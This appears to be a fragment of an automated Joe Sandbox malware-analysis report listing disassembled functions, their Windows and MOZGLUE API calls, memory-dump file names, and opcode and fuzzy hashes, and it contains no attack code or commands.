Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5f2c79574bb7c95e0a2bd19d82e3cfff46ee0f4187624b4fa84a78ef6591cc9d
Instruction ID: cfa80996775a1f610cfe9d158e13e9ce00ab714329ffb84ce76f5ec2f37e587a
Opcode Fuzzy Hash: 5f2c79574bb7c95e0a2bd19d82e3cfff46ee0f4187624b4fa84a78ef6591cc9d
Instruction Fuzzy Hash: ED91F1B281010D9BDB18FBA0DD59DFE7738BF94340F508169F60A66095EF786A09CB63

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 005F3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 390d17b633bd9465df9c98ae88a171fb47a78f39137595f418d8119bbfabef3c
Instruction ID: 7382beba54790868209e2c562df6c2750b9a7537c951bfadea28095f468c0e48
Opcode Fuzzy Hash: 390d17b633bd9465df9c98ae88a171fb47a78f39137595f418d8119bbfabef3c
Instruction Fuzzy Hash: 174111B1D1010EEBDB04EFA4D845AFEBB75BF54304F108418E616B7290DB79AA05CFA2

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 005F7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00600E00,00000000,?), ref: 005F79B0
RtlAllocateHeap.NTDLL(00000000), ref: 005F79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00600E00,00000000,?), ref: 005F79C4
wsprintfA.USER32 ref: 005F79F3

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 7090cc475d7357a68a90b8765bb1d77aad049cc594e0e373170593a730365033
Instruction ID: 702d45aed1968ce3e6f06bd46894071ba1ac3cb4fd58fdaeb040da828eeeb09c
Opcode Fuzzy Hash: 7090cc475d7357a68a90b8765bb1d77aad049cc594e0e373170593a730365033
Instruction Fuzzy Hash: 85112AB2904118ABCB18DFC9DD45BBEBBF8FB4CB11F10411AF605A2280E3795941CBB1

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 005FC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005FC74E

Part of subcall function 005FBF9F: __amsg_exit.LIBCMT ref: 005FBFAF

__getptd.LIBCMT ref: 005FC765
__amsg_exit.LIBCMT ref: 005FC773
__updatetlocinfoEx_nolock.LIBCMT ref: 005FC797

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 096653cc66bb37e0afe2079eac18fde047b133c8d4dac49a22870a70fb7a84c8
Instruction ID: 310663e9187cc6f71e18c8f743aedc195ca38a2bef5bd179b13f2335248bf68d
Opcode Fuzzy Hash: 096653cc66bb37e0afe2079eac18fde047b133c8d4dac49a22870a70fb7a84c8
Instruction Fuzzy Hash: 95F06D3294520EDBE721BBB8990AB7A3FA1BF80720F244159F604AA1D2DB6C5940DE56

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
